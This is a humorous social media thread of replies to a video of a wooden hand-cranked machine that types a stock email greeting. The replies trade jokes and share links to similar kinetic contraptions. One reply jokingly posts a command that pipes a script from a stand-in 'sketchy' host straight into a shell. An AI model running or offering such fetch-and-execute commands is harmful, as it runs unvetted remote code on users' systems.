felixlinkerNov 29
Viss
i hope this email finds you well
Nov 28 at 6:20pmTusky
Show threada high doomNov 28
@Viss it was great seeing you at $conference
Show threadVissNov 28

@h2onolan

lets circle back in january
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lets circle back in january
lets circle back in january
lets circle back in january
lets circle back in january

Show threada high doomNov 28
@Viss the tapping machine sounds lovely though doesnt it?
Show threadFritz AdalisNov 28
@Viss
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Show thread�Nov 28
@FritzAdalis @Viss psst, my home-office-stay-green-teams-batch setup
Show threadBornachNov 29
@utf_7 @FritzAdalis @Viss
"A work-from-home police officer tricked bosses into thinking he was busy solving cases– by jamming a key on his computer."
https://metro.co.uk/2025/09/29/work-from-home-policeman-jammed-keyboard-bosses-wouldnt-spot-skiving-24294289/
Workshy detective banned from policing over key jamming trick

Detective Constable Thubron intended to ‘give the impression’ that he was ‘completing tasks’ while ‘working from home,’ it was alleged.

Metro
Show threadpoetasterNov 28
@Viss alls well https://m.youtube.com/watch?v=IvUU8joBb1Q&list=RDIvUU8joBb1Q&start_radio=1&pp=ygUUd2ludGVyZ2FydGVuIG1hY2hpbmWgBwE%3D
Wintergatan - Marble Machine (music instrument using 2000 marbles)

YouTube
Show threadAndi HNov 28
@Viss
Have you tried turning it off and on
Have you tried turning it off and on
Have you tried turning it off and on
Have you tried turning it off and on
Show threadjoostruisNov 28

@Viss

All work and no play makes Jack a dull boy
All work and no play makes Jack a dull boy
All work and no play makes Jack a dull boy

Show threadpizza terrorist reloadedNov 28
@Viss so much time wasted, you could easily connect this to a steam engine and automate the whole thing
Show threadKerry Mitchell 🍁Nov 28
@Viss Always wondered what happened in the LLM black box.
Show threadJoshNov 28
@Viss Omg
Show threadDistorted  Nov 28
@Viss wow it is soo satisfying!​​
Show threadBernard DubuissonNov 28
@Viss this goes along very well with @thisemailfindsyou
Show threadDarwin WoodkaNov 28
very mechanical turk inception
Show threadReiner Jung 🇬🇱 🇺🇦 🇪🇺Nov 28
@Viss great invention. Next step, use a punch card system, like those for old organs or pianos or looms to control the pins.
Show threadacbNov 28
@Viss alt text: “a short video clip of a hand-cranked wooden machine that types “I hope this email finds you well” on a laptop keyboard.”
Show threadJulien DeswaefNov 28
@Viss Brilliant
Show threadLord Tom Klopf of CZ Nov 28
@Viss good for the home-office market!
Show threadCluster FckuNov 30
@thomas_klopf @Viss yup, can make you look "available" 9 to 5
Show threadtpaauNov 28
@Viss
curl -fsSL sketchy.site.com | sh
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curl -fsSL sketchy.site.com | sh
Show thready2k38Nov 28
@Viss @thisemailfindsyou
Show threadpascodaNov 28
may be of interest to you, @peterpur ^^
Show threadmyritaNov 28
@Viss CRANK IT BACKWARDS!! CRANK IT FUCKIN BACKWARDS!! BACKWARDS!!! CRANK IT BACKWARDS!!!!!
Show threadI am Jack's Found 404Nov 28

@myrita @Viss

I believe that's called a "trebuchet" 🤣

Show threadGaëtan PerraultNov 28

@Viss This is a cool invention. But it also highlights something kind of alarming.

At a couple points in the video. They show pictures of the screen and there are clear typos. Sometimes it's "hoep" sometimes it's "ou" instead of "you", sometimes it's the capitalization.

And while the machine is not perfect It is still a machine. Those letters are supposed to be hitting in order. Like, I don't expect a typical human to be more accurate than the machine.

So what's wrong with the keyboard?

Person built a literal keyboard music box and it's not even playing the song notes in order?

Show threadD2Nov 29

@gatesvp @Viss Alarming?

Everything looks easy until one implements it. A bit of friction, adjacent cams being misaligned or weighing differently, etc.

One machine is a prototype, or bespoke like a blacksmith would forge. At ten machines, some issues show consistently enough to adjust design. Tweak, make a thousand, run them for NN hours, and quality starts to hit like what you’re used to.

Show threadEQNov 29

@gatesvp

Machines are not more reliable than anything else. It depends on material and tollerances. It often comes down to a choice, do you want it fast, cheap or reliable? Choose two.

Show threadSimon BNov 30
@gatesvp @Viss race condition.
Show threadKraftwerk-Das Model CollapseNov 28
@Viss i hope this email finds you well
Show threadJohn ChapmanNov 28
@Viss Heath Robinson would have been delighted.
Show threadOliver SchafeldNov 28

Reminds of Marble Machine 😊

https://m.youtube.com/watch?v=IvUU8joBb1Q

Wintergatan - Marble Machine (music instrument using 2000 marbles)

YouTube
Show threadNam BokNov 28

@oliver_schafeld
Yeah ! And Theo Jansen's strandbeests, too ! 🙂

https://www.youtube.com/watch?v=arvaLu_X6xI

https://www.strandbeest.com/

Strandbeest: The Kinetic Beasts of Theo Jansen

YouTube
Show threadxs4me2Nov 28

@Viss

Stunning!

Show threadArapallaNov 28

@Viss

The things you get up to when you don't have anything to do 😉

Show threadKévin ⏚Nov 28
How can I invest in this AI product and or service
Show threadFlipper 🐬🏳️‍🌈Nov 28
@Viss i feel unwell
Show threadcaneToad Nov 28

@Viss
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Show threadBitslingers-R-UsNov 28
@Viss This gives me an idea for my new password manager.
Show threadDerek Caelin is writing a bookNov 28
@Viss
Show threadJuho MäntysaloNov 28

@derek @Viss

I can't feel but think that Bluetooth would have been a better solution to the problem adressed here.

😬

(GitS was a great film.)

Show threadBornachNov 29
@iju @derek @Viss
And risk your cyberbrain getting hacked?
No way. Too risky.
Show threadD2Nov 29
@derek @Viss my kid fears spiders. Seeing these hands, I kinda relate.
Show threadKMWoolNov 28
@Viss
I like the sound of that.
Show threadkira for scaleNov 28
@Viss mentally adding ocarina of time song of storms on top of this
Show threadGoldside543 Nov 28

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Show threadLeoNerdNov 28

@Viss "This meeting could have been an elaborate wooden contraption"

Very nicely done :)

Show threadnetworking wizard catgirlNov 29
@Viss I hope this email finds you well
Show threadDusk to Don Nov 29

@Viss

CC @thisemailfindsyou

Show threadDusk to Don Nov 29

@Viss @thisemailfindsyou

from here on out, I’m storing my text documents as midi files.

Show threadVictorNov 29
@Viss
Show threadRozzychanNov 29
@Viss
Where is the period.
Show threadelle mundyNov 29
@Viss this uses so much less battery than ai
Show threadAndrewNov 29
@Viss The audacity of hoep
Show threadBret MogilefskyNov 29
@Viss @waldoj
Show threadMorgan ⚧️Nov 29
@Viss my favorite part is where the machine makes a typo and writes "I hoep this email finds you well"
Better than an LLM, that's a very human mistake
Show threadOblomovNov 29
@raphaelmorgan @Viss same. Also coordination issues with the caps/shift key so that sometimes it's "i Hope" instead of "I hope”. Adds a “natural” touch to the whole tihng.